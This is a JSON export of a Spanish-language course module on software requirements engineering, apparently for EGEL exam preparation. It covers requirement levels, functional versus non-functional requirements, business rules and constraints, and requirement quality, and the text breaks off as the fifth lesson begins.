{"author":"Melchor Estrada José Luis","modules":[{"children":[{"children":[{"children":[],"contentMd":"# Fundamentos: De la necesidad del negocio al requerimiento de software\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de distinguir con precisión técnica entre una necesidad del negocio, un objetivo estratégico y los distintos niveles de requerimientos (negocio, usuario y sistema), identificando precondiciones, postcondiciones, supuestos y dependencias en proyectos reales de ingeniería de software.\n\n## ¿Por qué importa en la práctica profesional?\nUno de los fallos más costosos en la industria del software ocurre cuando el equipo de desarrollo confunde los deseos expresados por un cliente con requerimientos reales de software. Un cliente bancario suele declarar: *\"Necesitamos una aplicación móvil moderna con inteligencia artificial\"*. Eso **no** es un requerimiento; es una declaración de solución prematura. La verdadera necesidad del negocio subyacente puede ser: *\"Reducir en un 35% el costo operativo de atención en ventanilla durante el primer año y aumentar la retención de clientes jóvenes\"*.\n\nSi el ingeniero de software implementa la solución asumida sin entender la necesidad y el objetivo, el proyecto corre el riesgo de entregar un producto técnicamente funcional pero comercialmente inútil.\n\n## Jerarquía de requerimientos\n\nPara evitar confusiones, la ingeniería de requerimientos organiza las declaraciones en niveles jerárquicos bien diferenciados:\n\n1. **Objetivos y requerimientos del negocio (Business Requirements):**\n   - Responden a: *¿Por qué se financia y se emprende este proyecto?*\n   - Describen metas comerciales de alto nivel de la organización patrocinadora.\n   - *Ejemplo:* Incrementar la tasa de conversión del checkout en un 18% antes del cuarto trimestre.\n\n2. **Requerimientos de los interesados y de usuario (User Requirements):**\n   - Responden a: *¿Qué tareas y objetivos necesitan cumplir los usuarios mediante el sistema?*\n   - Expresados desde la perspectiva del rol del usuario, habitualmente en lenguaje natural estructurado o historias de usuario.\n   - *Ejemplo:* Un médico residente debe poder consultar el historial farmacológico del paciente en menos de tres clics durante una ronda de urgencias.\n\n3. **Requerimientos del sistema (System Requirements):**\n   - Responden a: *¿Qué debe hacer el software y qué cualidades debe exhibir para habilitar los requerimientos de usuario y del negocio?*\n   - Especificación técnica detallada dividida en requerimientos funcionales, no funcionales y restricciones arquitectónicas.\n   - *Ejemplo:* El servicio de autenticación validará credenciales mediante tokens JWT con expiración de 15 minutos y renovación mediante refresh token en almacenamiento cifrado.\n\n## Conceptos estructurales complementarios\n\nAl analizar cualquier requerimiento en un escenario profesional, debes identificar los siguientes elementos de contexto:\n\n- **Supuesto (Assumption):** Un factor que se asume verdadero para propósitos de planificación o diseño, pero que no ha sido probado empíricamente. *Ejemplo:* \"Se asume que los clientes disponen de conectividad 4G estable durante el uso de la app\". Si el supuesto falla, el diseño puede quebrar.\n- **Dependencia (Dependency):** Relación de precedencia o acoplamiento entre un requerimiento y un factor externo o interno. *Ejemplo:* \"El módulo de facturación depende de la disponibilidad de la API del SAT (Servicio de Administración Tributaria)\".\n- **Precondición:** Estado en el que debe encontrarse el sistema o los datos antes de que se pueda iniciar la ejecución de una funcionalidad. *Ejemplo:* \"El usuario debe contar con un método de pago validado y saldo retenido\".\n- **Postcondición:** Estado en el que queda garantizado que estará el sistema tras la ejecución exitosa (o fallida) de la funcionalidad. *Ejemplo:* \"El inventario queda decrementado en N unidades y se emite un evento de cobro en la cola de mensajería\".\n\n## Comparación entre niveles de definición\n\n| Nivel | Pregunta clave | Audiencia principal | Nivel de abstracción | Ejemplo representativo |\n|---|---|---|---|---|\n| **Objetivo de Negocio** | ¿Por qué invertimos dinero? | Directores / Patrocinadores | Muy alto / Financiero | Reducir el tiempo de liquidación de pagos transfronterizos a menos de 2 horas. |\n| **Requerimiento de Usuario** | ¿Qué tarea logra el usuario? | Usuarios finales / Operadores | Medio / Operativo | El analista de tesorería puede conciliar remesas bancarias pendientes de aprobación. |\n| **Requerimiento del Sistema** | ¿Cómo se comporta el software? | Arquitectos / Desarrolladores / QA | Bajo / Técnico | La pasarela invocará el endpoint POST /transfers con payload JSON firmado con RSA-2048. |\n\n## Escenario de decisión profesional: El sistema de telemedicina \"SaludConecta\"\n**Contexto:** Un hospital privado adquiere una plataforma de telemedicina. En la primera reunión de descubrimiento, el director médico afirma: *\"El sistema debe usar tecnología blockchain para guardar las recetas y tener una interfaz en color azul médico\"*.\n\n**Análisis de ingeniería:**\n1. *\"Usar blockchain\"* es una restricción tecnológica impuesta sin justificación técnica demostrada, no una necesidad. La necesidad real es la **integridad, inmutabilidad y no repudio del historial de prescripciones**.\n2. *\"Color azul médico\"* es una preferencia estética superficial, no un objetivo del negocio ni un requerimiento funcional esencial.\n3. El objetivo del negocio consiste en: *\"Cumplir la normativa nacional de receta electrónica minimizando el riesgo de falsificación y demandas legales en un 100%\"*.\n\n**Decisión del ingeniero:** Descomponer la solicitud del director en:\n- *Objetivo del negocio:* Garantizar no repudio y trazabilidad legal de recetas emitidas.\n- *Requerimiento funcional:* El sistema debe permitir al médico firmar digitalmente cada prescripción médica mediante certificado digital reconocido.\n- *Requerimiento no funcional:* El registro de auditoría de prescripciones debe ser de solo anexado (append-only) y garantizar integridad criptográfica verificable mediante funciones hash SHA-256.\n\n## Errores y confusiones frecuentes\n\n- **Confundir necesidad con solución:** Aceptar que el cliente dicte herramientas específicas (\"necesito una base de datos en MongoDB\") en lugar de descubrir el problema de persistencia subyacente (volumen, frecuencia de cambio de esquema, transaccionalidad).\n- **Asumir supuestos como hechos comprobados:** Diseñar un sistema de inventario para almacenes asumiendo cobertura Wi-Fi total en naves industriales sin haber realizado pruebas de campo.\n- **Omitir postcondiciones en casos de fallo:** Especificar qué ocurre cuando una transacción sale bien, pero olvidar qué estado debe conservar la base de datos cuando la pasarela de pagos rechaza el cobro.\n\n## Claves para el EGEL\n- Cuando una pregunta te pida identificar qué tipo de declaración es:\n  - Si expresa **ganancias, retorno de inversión, reducción de costos o ventaja competitiva**: es un **objetivo o requerimiento del negocio**.\n  - Si expresa **una meta de tarea humana individual**: es un **requerimiento de usuario**.\n  - Si expresa **un comportamiento exacto de software, protocolo, algoritmo o mensaje**: es un **requerimiento del sistema**.\n- Descarta de inmediato opciones que confundan una tecnología particular con la necesidad subyacente.\n\n## Autoevaluación\nUn cliente de seguros solicita: *\"Queremos migrar a microservicios en Kubernetes porque nuestros servidores actuales colapsan en las ventas nocturnas de fin de mes\"*.\n¿Cómo debe clasificar un ingeniero de software esta declaración para el análisis formal de requerimientos?\nA) Como un requerimiento funcional obligatorio del sistema.\nB) Como una solución técnica propuesta para resolver un requerimiento no funcional de escalabilidad y rendimiento, originado por una necesidad de negocio de no perder ventas.\nC) Como una regla de negocio inmutable impuesta por la dirección.\nD) Como una precondición arquitectónica del sistema operativo.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- Toda iniciativa de software exitosa traza una línea directa: Objetivo de Negocio → Requerimiento de Usuario → Requerimiento del Sistema.\n- La precondición y la postcondición delimitan el contrato transaccional de cada funcionalidad.\n- Un supuesto no validado es el origen de los mayores riesgos de cronograma y arquitectura.\n","title":"1.1.1 Fundamentos: De la necesidad del negocio al requerimiento de software"},{"children":[],"contentMd":"# Requerimientos funcionales vs atributos de calidad (No funcionales)\n\n## Objetivo de aprendizaje\nAl finalizar esta lección podrás clasificar sin vacilación requerimientos en lenguaje natural como funcionales o no funcionales, reconociendo la taxonomía de atributos de calidad del estándar ISO/IEC 25010 y transformando atributos abstractos en métricas objetivas verificables.\n\n## ¿Por qué importa en la práctica profesional?\nUn software puede cumplir el 100% de sus requerimientos funcionales (calcular saldos, guardar datos, generar reportes) y aun así ser un fracaso absoluto si tarda 45 segundos en cargar cada pantalla, expone contraseñas en texto plano o colapsa con 50 usuarios simultáneos. Los requerimientos no funcionales (RNF) definen la viabilidad práctica del sistema en el entorno de producción. En evaluaciones profesionales como el EGEL, la clasificación errónea entre \"lo que el sistema hace\" y \"cómo lo hace\" es una de las principales fuentes de error.\n\n## Conceptos fundamentales\n\n### 1. Requerimiento Funcional (RF)\nDefine los **servicios, comportamientos, transformaciones y respuestas** que el sistema debe ejecutar ante entradas específicas. Responde con precisión a la pregunta:\n\u003e *¿QUÉ hace el sistema?*\n\n**Características distintivas:**\n- Describe acciones, flujos de datos, cálculos y transacciones.\n- Se puede verificar mediante pruebas funcionales de entrada-salida (\"Dado X, produce Y\").\n- Si falta un requerimiento funcional, el usuario simplemente no puede ejecutar esa tarea.\n- *Ejemplo:* \"El sistema calculará automáticamente el Impuesto al Valor Agregado (IVA) del 16% sobre el subtotal de los productos gravables antes de aplicar descuentos\".\n\n### 2. Requerimiento No Funcional (RNF) / Atributo de Calidad\nDefine las **propiedades de operación, cualidades de servicio, características de rendimiento o restricciones** bajo las cuales el sistema debe operar sus requerimientos funcionales. Responde a la pregunta:\n\u003e *¿CÓMO se comporta el sistema mientras ejecuta sus funciones?*\n\nLos atributos de calidad no son funciones aisladas; califican la ejecución de las funciones. El estándar internacional **ISO/IEC 25010** establece ocho características de calidad esenciales:\n\n1. **Adecuación funcional:** Completitud, corrección y pertinencia.\n2. **Eficiencia de desempeño:** Comportamiento temporal (latencia, tiempo de respuesta), utilización de recursos (CPU, memoria, ancho de banda) y capacidad máxima.\n3. **Compatibilidad:** Coexistencia e interoperabilidad con otros sistemas.\n4. **Usabilidad:** Facilidad de aprendizaje, operatividad, protección contra errores de usuario, estética y accesibilidad.\n5. **Fiabilidad (Reliability):** Madurez, disponibilidad, tolerancia a fallos y capacidad de recuperación ante desastres.\n6. **Seguridad:** Confidencialidad, integridad, no repudio, autenticidad y trazabilidad de acciones (auditoría).\n7. **Mantenibilidad:** Modularidad, reusabilidad, analizabilidad, modificabilidad y testeabilidad.\n8. **Portabilidad:** Adaptabilidad, facilidad de instalación y capacidad de reemplazo.\n\n## Regla de oro de la verificabilidad: La cuantificación\nUn error gravísimo en la ingeniería de requerimientos es escribir atributos de calidad con adjetivos subjetivos:\n- ❌ *Incorrecto (ambiguo e inverificable):* \"El sistema debe ser rápido, seguro y fácil de usar para cualquier empleado\".\n- ✔ *Correcto (específico y medible):*\n  - **Desempeño:** \"El 95% de las consultas de saldo deben responder en un tiempo inferior a 400 milisegundos bajo una carga de hasta 2,000 peticiones por segundo\".\n  - **Seguridad:** \"Todas las comunicaciones entre el cliente y el servidor deben cifrarse mediante TLS 1.3 con certificados X.509 vigentes\".\n  - **Usabilidad:** \"Un operador nuevo con capacitación de 30 minutos debe completar el registro de una póliza en menos de 4 minutos sin requerir asistencia técnica en el 90% de los intentos\".\n\n## Tabla comparativa exhaustiva\n\n| Criterio | Requerimiento Funcional (RF) | Requerimiento No Funcional (RNF) / Atributo de Calidad |\n|---|---|---|\n| **Pregunta rectora** | ¿Qué hace el software? | ¿Qué cualidades exhibe mientras lo hace? |\n| **Enfoque principal** | Comportamiento, algoritmos y flujos de negocio. | Rendimiento, seguridad, disponibilidad, mantenibilidad. |\n| **Impacto arquitectónico** | Tiende a localizarse en módulos o capas específicas de la lógica de dominio. | Afecta de forma transversal toda la arquitectura de software. |\n| **Forma de verificación** | Casos de prueba de caja negra/blanca (Assert(resultado == esperado)). | Pruebas de carga, estrés, pentesting, análisis estático, mediciones de MTBF (Mean Time Between Failures). |\n| **Si no se cumple** | El usuario no puede terminar la tarea requerida. | El sistema funciona pero resulta ineficiente, inseguro, inestable o inusable. |\n| **Ejemplo bancario** | \"El sistema transferirá fondos entre cuentas previa validación de fondos suficientes\". | \"El servicio de transferencias mantendrá una disponibilidad anual del 99.99% (cuatro nueves)\". |\n\n## Escenario de decisión: Análisis de la plataforma de streaming \"MediaStream\"\nEl equipo directivo entrega los siguientes 4 enunciados al analista:\n1. *\"El usuario podrá pausar un video y reanudarlo en otro dispositivo desde el mismo segundo.\"*\n2. *\"La transmisión de video en calidad 4K debe iniciar en menos de 1.8 segundos tras presionar reproducir.\"*\n3. *\"El catálogo de videos debe actualizarse diariamente a las 03:00 AM UTC sin interrumpir las sesiones activas.\"*\n4. *\"El sistema no permitirá la reproducción concurrente de más de 3 pantallas en cuentas estándar.\"*\n\n**Clasificación y justificación técnica:**\n- **Enunciado 1:** **Funcional.** Describe una capacidad operativa explícita del usuario y una sincronización de estado del reproductor.\n- **Enunciado 2:** **No funcional (Eficiencia de desempeño - Comportamiento temporal).** Califica la velocidad con la que se entrega el flujo multimedia.\n- **Enunciado 3:** **No funcional (Fiabilidad - Disponibilidad y Mantenibilidad).** Exige que una tarea de mantenimiento no degrade la disponibilidad del servicio a los usuarios en línea.\n- **Enunciado 4:** **Funcional / Regla de negocio.** Determina la lógica de autorización y restricción de consumo del servicio basada en la política de licencias.\n\n## Errores y confusiones frecuentes\n\n- **Creer que los requerimientos de seguridad son siempre funcionales:** \"Autenticarse con usuario y contraseña\" tiene un componente funcional (el login), pero \"proteger los datos en reposo mediante AES-256\" es un atributo no funcional de seguridad (confidencialidad).\n- **Asumir que \"no funcional\" significa \"menos importante\":** En sistemas de misión crítica (marcapasos, control de tráfico aéreo, trading de alta frecuencia), los atributos no funcionales dictan el 90% del presupuesto y determinan la supervivencia del producto.\n- **Aceptar requerimientos no medibles:** Aprobar un documento que dice \"el software debe ser intuitivo\" imposibilita al equipo de QA certificar si el requerimiento fue satisfecho o no.\n\n## Claves para el EGEL\n- **Identifica el sujeto y el verbo:**\n  - Si el verbo denota una acción que el sistema *realiza* a favor del usuario (registrar, calcular, emitir, alertar, consultar, exportar) → **Requerimiento Funcional**.\n  - Si la cláusula describe una métrica (segundos, porcentaje, milisegundos, concurrencia, tasa de fallo) o una cualidad de sistema (tolerante a fallos, disponible, cifrado, auditable) → **Requerimiento No Funcional**.\n- No te dejes engañar por la complejidad: que un cálculo matemático sea sumamente complejo no lo hace no funcional; sigue siendo funcional porque describe *qué* se calcula.\n\n## Autoevaluación\nAnaliza el siguiente requerimiento:\n*\"El sistema de pagos procesará hasta 5,000 transacciones simultáneas sin que el tiempo de respuesta individual supere los 800 milisegundos\".*\n¿A qué categoría pertenece según la ingeniería de software?\nA) Requerimiento Funcional de alta capacidad.\nB) Requerimiento No Funcional de Eficiencia de Desempeño (Capacidad y Comportamiento Temporal).\nC) Restricción de hardware de la base de datos.\nD) Regla de negocio financiera.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- Los requerimientos funcionales definen la utilidad; los no funcionales definen la calidad y la viabilidad.\n- Los atributos de calidad deben especificarse siempre mediante métricas objetivas (umbral, unidad de medida, condiciones de prueba).\n- El estándar ISO/IEC 25010 es la referencia formal universal para categorizar requerimientos no funcionales.\n","title":"1.1.2 Requerimientos funcionales vs atributos de calidad (No funcionales)"},{"children":[],"contentMd":"# Reglas de negocio, restricciones del sistema e interfaces externas\n\n## Objetivo de aprendizaje\nAl finalizar esta lección podrás distinguir con claridad quirúrgica entre una regla de negocio, un requerimiento funcional, una restricción arquitectónica o de proyecto, y un requerimiento de interfaz externa, fundamentando el impacto que cada uno tiene en el diseño y la implementación de sistemas de software.\n\n## ¿Por qué importa en la práctica profesional?\nUn error común en especificaciones técnicas es programar reglas del negocio directamente en el código de la interfaz gráfica o mezclarlas con restricciones tecnológicas. Cuando el gobierno modifica una tasa fiscal o la empresa cambia sus políticas de crédito, un software mal diseñado requiere meses de refactorización. Distinguir las reglas del negocio de las restricciones y las interfaces garantiza arquitecturas desacopladas, mantenibles y preparadas para evolucionar.\n\n## Conceptos fundamentales\n\n### 1. Reglas de Negocio (Business Rules)\nUna regla de negocio es una directriz, política, cálculo o restricción **que pertenece al dominio del negocio**, existe con total independencia del software y seguiría existiendo aunque la empresa operara con lápiz y papel.\n- Las reglas de negocio rigen la operación de la empresa: políticas de precios, condiciones para otorgar préstamos, elegibilidad de descuentos, regulaciones legales o fiscales.\n- **Relación con el software:** Un requerimiento funcional del sistema suele ser el mecanismo que *implementa* o *hace cumplir* una regla de negocio.\n- *Ejemplo de regla de negocio:* \"Ningún cliente puede retirar más de $10,000 MXN diarios en cajeros automáticos si su cuenta tiene menos de 30 días de antigüedad\".\n- *Requerimiento funcional asociado:* \"El módulo de autorización verificará la fecha de creación de la cuenta y el acumulado de retiros del día antes de emitir la orden de dispensación de efectivo\".\n\n### 2. Restricciones del Sistema (Constraints)\nUna restricción es una **limitación impuesta al espacio de diseño, a la elección tecnológica o a la gestión del proyecto**. A diferencia de los requerimientos, las restricciones no agregan funcionalidad ni definen atributos de calidad deseados; eliminan opciones técnicas del abanico del arquitecto.\nLas restricciones pueden originarse por:\n- **Factores regulatorios o legales:** \"Los datos de los pacientes deben almacenarse exclusivamente en servidores ubicados dentro del territorio nacional (Ley de Protección de Datos)\".\n- **Factores organizacionales / Legado:** \"El nuevo sistema debe ejecutarse sobre los servidores Oracle Linux existentes y utilizar la base de datos corporativa DB2\".\n- **Factores de negocio / Presupuesto / Tiempo:** \"El costo total de licenciamiento no debe superar los $5,000 USD anuales\" o \"La fase 1 debe desplegarse antes del 1 de diciembre\".\n- **Factores de hardware / Entorno:** \"La aplicación cliente debe operar en terminales portátiles con 2 GB de memoria RAM y procesadores ARM v7\".\n\n### 3. Requerimientos de Interfaces Externas\nEspecifican cómo el software debe comunicarse e interactuar con entidades que residen fuera de sus fronteras:\n- **Interfaces de usuario (UI):** Características indispensables de interacción con personas (estándares de accesibilidad, dispositivos de entrada especiales como lectores ópticos).\n- **Interfaces de software (APIs / Web Services / Protocolos):** Especificaciones de comunicación con otros sistemas (pasarelas de pago, sistemas de facturación gubernamentales, servicios meteorológicos). Define protocolos (HTTP, gRPC, MQTT), formatos de intercambio (JSON, XML, Protocol Buffers) y políticas de seguridad.\n- **Interfaces de hardware:** Comunicación con dispositivos físicos (sensores industriales, terminales punto de venta, básculas digitales, PLC).\n- **Interfaces de comunicaciones:** Requerimientos sobre sockets, puertos, firewalls o redes satelitales.\n\n## Mapa comparativo: ¿Cómo distinguirlos en un escenario?\n\n| Concepto | Origen | ¿Existe sin computadoras? | Impacto principal | Ejemplo claro |\n|---|---|---|---|---|\n| **Regla de Negocio** | Políticas empresariales, leyes, estatutos. | **SÍ.** Existía antes de digitalizar la empresa. | Lógica de dominio del software. | Los estudiantes con promedio inferior a 8.0 no pueden inscribir más de 5 materias. |\n| **Requerimiento Funcional** | Análisis de necesidades de usuario/negocio. | **NO.** Es propio de la solución informática. | Comportamiento y casos de uso del software. | El sistema desplegará un mensaje de alerta y bloqueará la adición de una sexta materia si el promedio es \u003c 8.0. |\n| **Restricción** | Decisiones del cliente, leyes, hardware, directrices de TI. | Depende (puede ser técnica o legal). | Reduce las opciones de diseño del arquitecto. | La solución debe ejecutarse en navegadores web sin requerir la instalación de extensiones o plugins. |\n| **Interfaz Externa** | Ecosistema de TI y hardware periférico. | **NO.** Es técnica por definición. | Conectores, adaptadores y contratos de API. | El módulo de cobro enviará peticiones REST con cabecera Bearer Token a la pasarela Stripe v3. |\n\n## Árbol de decisión conceptual para clasificar requerimientos\n\n```text\n¿La declaración describe una política o condición del negocio que existe aun sin software?\n ├─ SÍ ──\u003e REGLA DE NEGOCIO (Ej: \"Descuento del 10% a mayores de 65 años\")\n └─ NO ──\u003e ¿La frase impone un límite tecnológico, legal o de plataforma predeterminado?\n            ├─ SÍ ──\u003e RESTRICCIÓN (Ej: \"Debe programarse en Java 17 y usar PostgreSQL\")\n            └─ NO ──\u003e ¿La frase define la comunicación con un sistema/hardware externo?\n                       ├─ SÍ ──\u003e REQUERIMIENTO DE INTERFAZ EXTERNA\n                       └─ NO ──\u003e ¿Describe una acción o cálculo específico del software?\n                                  ├─ SÍ ──\u003e REQUERIMIENTO FUNCIONAL\n                                  └─ NO ──\u003e REQUERIMIENTO NO FUNCIONAL (Atributo de calidad)\n```\n\n## Escenario de decisión profesional: Sistema de Peaje Automatizado \"AutoPass\"\nUn consorcio carretero licita la modernización de sus casetas de cobro. Los pliegos técnicos contienen los siguientes requerimientos:\n1. *\"El paso de vehículos de emergencia (ambulancias, bomberos) no genera cobro alguno.\"*\n2. *\"El sistema leerá las tarjetas RFID tipo EPC Gen2 a una distancia de hasta 6 metros.\"*\n3. *\"El módulo de auditoría debe almacenar las placas de los vehículos en la base de datos Oracle 19c corporativa preexistente.\"*\n4. *\"La antena lectora enviará los datos del tag al controlador mediante el protocolo Wiegand 26-bit.\"*\n\n**Diagnóstico del analista:**\n- Requerimiento 1 es una **Regla de Negocio**. Es una ley y política pública de tránsito. El software debe implementar un mecanismo para reconocer el tipo de vehículo y aplicar tarifa cero.\n- Requerimiento 2 es un **Requerimiento Funcional y de Desempeño** asociado a una interfaz de hardware.\n- Requerimiento 3 es una **Restricción Tecnológica**. El cliente prohíbe elegir otra base de datos porque ya pagó licencias de Oracle.\n- Requerimiento 4 es un **Requerimiento de Interfaz de Hardware/Comunicaciones**. Define el protocolo físico y formato de trama de la antena.\n\n## Errores y confusiones frecuentes\n\n- **Codificar reglas de negocio como restricciones:** Las reglas de negocio cambian con alta frecuencia; las restricciones técnicas son mucho más estables. Mezclarlas conduce a arquitecturas rígidas.\n- **Confundir la interfaz con la funcionalidad:** Decir \"el sistema se conectará a PayPal\" es la interfaz externa; decir \"el sistema emitirá un recibo digital al completarse el pago\" es la funcionalidad.\n- **Aceptar restricciones injustificadas:** A menudo un stakeholder dice \"debe usarse la tecnología X\" por mera costumbre o favoritismo comercial. El ingeniero debe evaluar si es una restricción real del entorno o una preferencia infundada que encarece el proyecto.\n\n## Claves para el EGEL\n- Si un reactivo te presenta una afirmación sobre políticas de descuento, cálculo de comisiones, elegibilidad o normativas bancarias, identifícala como **Regla de Negocio**.\n- Si el reactivo menciona un estándar obligatorio impuesto (\"debe apegarse a la norma ISO 27001\", \"debe correr en Android 10 o superior\", \"debe integrarse con el Active Directory existente\"): identifícala como **Restricción**.\n- Si describe contratos de datos, puertos, protocolos o formatos (JSON, REST, Webhook, RS-232): es un **Requerimiento de Interfaz**.\n\n## Autoevaluación\nUna empresa de logística estipula en el pliego de condiciones:\n*\"Para evitar sanciones aduaneras, el sistema no autorizará el despacho de contenedores cuyo peso bruto exceda las 28 toneladas métricas según la báscula certificada.\"*\n¿Qué combinación representa con mayor exactitud esta especificación?\nA) Una regla de negocio legal implementada a través de un requerimiento funcional con dependencia de una interfaz de hardware.\nB) Un requerimiento no funcional de portabilidad con una restricción de software.\nC) Una restricción de presupuesto sin impacto en la lógica de dominio.\nD) Un requerimiento exclusivo de interfaz de usuario.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- Las reglas de negocio definen la lógica que hace operar a la organización; el software las automatiza.\n- Las restricciones acotan las decisiones del equipo técnico; no son negociables fácilmente.\n- Las interfaces externas delimitan la frontera del sistema con su entorno operativo.\n","title":"1.1.3 Reglas de negocio, restricciones del sistema e interfaces externas"},{"children":[],"contentMd":"# Calidad del requerimiento: Ambigüedad, consistencia, completitud y trazabilidad\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de evaluar la calidad técnica de un conjunto de requerimientos, identificando ambigüedades, inconsistencias, omisiones y problemas de factibilidad, aplicando criterios de aceptación medibles y garantizando la trazabilidad bidireccional a lo largo del ciclo de vida del software.\n\n## ¿Por qué importa en la práctica profesional?\nUn defecto descubierto durante la fase de requerimientos cuesta hasta **100 veces menos** de solucionar que el mismo defecto descubierto en producción. El lenguaje natural es intrínsecamente impreciso. Frases como *\"el sistema debe soportar un volumen razonable de clientes con una respuesta adecuada\"* conducen invariablemente a disputas contractuales, retrasos masivos y frustración entre desarrolladores y clientes. Los ingenieros de software deben dominar la redacción y auditoría de requerimientos sin ambigüedad.\n\n## Criterios universales de calidad de un requerimiento (IEEE 830 / ISO/IEC/IEEE 29148)\n\nPara que un requerimiento sea considerado válido para desarrollo y pruebas, debe satisfacer las siguientes propiedades:\n\n1. **No ambiguo (Unambiguous):**\n   - Posee una única interpretación posible por cualquier lector (cliente, arquitecto, programador, tester).\n   - *Palabras prohibidas en requerimientos:* \"rápido\", \"intuitivo\", \"eficiente\", \"amigable\", \"robusto\", \"en la medida de lo posible\", \"entre otros\", \"etcétera\", \"adecuado\".\n2. **Completo (Complete):**\n   - Contiene toda la información necesaria para diseñar y construir la funcionalidad.\n   - Describe no solo el \"camino feliz\" (happy path), sino también el comportamiento del sistema ante errores, entradas inválidas y estados de excepción.\n3. **Consistente (Consistent):**\n   - No entra en contradicción con ningún otro requerimiento del documento ni con las reglas del negocio.\n   - *Ejemplo de inconsistencia:* En el módulo 2 se afirma que \"todas las transacciones son anónimas\", mientras que en el módulo 5 se exige \"registrar el RFC del comprador en cada transacción\".\n4. **Verificable / Comprobable (Verifiable):**\n   - Existe un método objetivo y económico (inspección, prueba, demostración, análisis) mediante el cual una persona o máquina puede certificar que el software construido satisface el requerimiento.\n5. **Factible (Feasible):**\n   - Es técnicamente realizable dentro de las restricciones de tiempo, presupuesto, tecnología y leyes de la física disponibles para el proyecto.\n6. **Trazable (Traceable):**\n   - Se puede rastrear su origen histórico (¿quién lo pidió y por qué?) y su destino en el código, pruebas y documentación (Trazabilidad hacia adelante y hacia atrás).\n\n## Criterios de Aceptación (Acceptance Criteria)\nLos criterios de aceptación son las condiciones mínimas y específicas que una funcionalidad debe satisfacer para que el usuario o Product Owner la acepte como terminada. Convierten la intención del requerimiento en una prueba binaria (Aprobado / No Aprobado).\n\nEl formato más adoptado en metodologías modernas es **Given-When-Then (Dado-Cuando-Entonces)** originario de BDD (Behavior-Driven Development):\n```gherkin\nEscenario: Intento de retiro con saldo insuficiente en cajero\n  Dado que el usuario tiene una cuenta con un saldo disponible de $500 MXN\n  Y su tarjeta bancaria ha sido autenticada exitosamente\n  Cuando el usuario solicita un retiro de $1,000 MXN\n  Entonces el sistema debe rechazar la transacción\n  Y debe mostrar el mensaje en pantalla: \"Fondos insuficientes\"\n  Y la tarjeta debe ser devuelta sin alterar el saldo de la cuenta.\n```\n\n## Matriz de Trazabilidad de Requerimientos (RTM - Requirements Traceability Matrix)\nLa trazabilidad garantiza que:\n- **Hacia adelante (Forward Traceability):** Todo requerimiento de negocio se traduzca en requerimientos de software, componentes de código y casos de prueba. Evita el software incompleto.\n- **Hacia atrás (Backward Traceability):** Todo fragmento de código y caso de prueba tenga su justificación en un requerimiento aprobado. Evita el \"gold plating\" (construir código innecesario que nadie pidió).\n\n| ID Requerimiento | Descripción sintética | Necesidad de Negocio origen | Componente de Diseño / Código | Caso de Prueba de Aceptación |\n|---|---|---|---|---|\n| **RF-PAY-01** | Procesamiento de cobros con tarjeta | OBJ-NEG-02 (Aumentar ventas web) | `PaymentController.process()` | `TC-PAY-001`, `TC-PAY-002` |\n| **RNF-SEC-04**| Cifrado de datos en reposo AES-256 | REG-LEG-01 (Cumplimiento GDPR) | `DatabaseEncryptionPlugin` | `TC-SEC-015` (Auditoría DB) |\n\n## Ejemplos de detección de defectos en requerimientos\n\n### Caso 1: Ambigüedad\n- ❌ *Defectuoso:* \"La interfaz de ventas debe cargar los productos rápidamente para evitar el estrés del cajero.\"\n- ✔ *Corregido:* \"La pantalla de punto de venta debe desplegar el catálogo de los 50 productos más vendidos en un tiempo inferior a 600 milisegundos tras el inicio de sesión del cajero.\"\n\n### Caso 2: Incompletitud\n- ❌ *Defectuoso:* \"El sistema permitirá a los usuarios subir su comprobante de domicilio en formato digital.\"\n- ✔ *Corregido:* \"El sistema permitirá subir comprobantes de domicilio en formatos PDF, PNG o JPEG, con un tamaño máximo de 5 MB por archivo. Si el archivo excede el tamaño o tiene un formato no admitido, el sistema rechazará la carga y mostrará un mensaje de error explicativo indicando los formatos y pesos válidos.\"\n\n### Caso 3: Inconsistencia\n- ❌ *Defectuoso:*\n  - Requerimiento A: \"Las cotizaciones de seguros de vida tienen vigencia de 15 días naturales.\"\n  - Requerimiento B: \"El cliente podrá formalizar la póliza con los costos congelados de su cotización hasta 30 días después de emitida.\"\n- ✔ *Corregido:* Se unifica la política de vigencia previa consulta con el área actuarial del negocio.\n\n## Errores y confusiones frecuentes\n\n- **Confundir verificabilidad con facilidad de prueba:** Un requerimiento puede requerir una prueba de estrés masiva de 24 horas y seguir siendo verificable. Lo que no es verificable es lo que depende del gusto subjetivo (\"debe ser bonito\").\n- **Creer que los criterios de aceptación solo aplican a metodologías ágiles:** Toda especificación formal o caso de uso en proyectos tradicionales requiere condiciones de éxito verificables.\n- **Descuidar la trazabilidad durante el mantenimiento:** Modificar una clase en el código sin actualizar el requerimiento original rompe la línea base y crea discrepancias fatales para auditorías.\n\n## Claves para el EGEL\n- Si una pregunta te pide identificar qué defecto tiene un requerimiento que usa adverbios como \"adecuadamente\", \"regularmente\" o \"pronto\", la respuesta inequívoca es **Ambigüedad**.\n- Si dos requerimientos redactados en distintas secciones demandan comportamientos mutuamente excluyentes ante un mismo estímulo, el defecto es **Inconsistencia**.\n- Si un requerimiento describe qué ocurre cuando todo sale bien pero ignora el manejo de excepciones o límites de datos, el defecto es **Incompletitud**.\n\n## Autoevaluación\nUn analista escribe en el documento de especificación:\n*\"El motor de reservaciones responderá con la mayor velocidad posible cuando el servidor no esté demasiado saturado.\"*\n¿Cuáles son los dos defectos más graves que presenta este requerimiento?\nA) Ambigüedad y falta de verificabilidad.\nB) Inconsistencia y exceso de restricciones técnicas.\nC) Falta de trazabilidad y desactualización.\nD) Inviabilidad legal y duplicidad.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- Un requerimiento no verificable no es un requerimiento; es una expresión de buenos deseos.\n- Los criterios de aceptación con formato BDD (Dado-Cuando-Entonces) eliminan la ambigüedad en los límites del sistema.\n- La trazabilidad bidireccional es la única garantía de que construimos todo lo necesario y nada innecesario.\n","title":"1.1.4 Calidad del requerimiento: Ambigüedad, consistencia, completitud y trazabilidad"},{"children":[],"contentMd":"# Escenarios de decisión profesional: Clasificación bajo ambigüedad\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de resolver escenarios profesionales complejos donde clientes y directivos presentan solicitudes ambiguas y mezcladas, 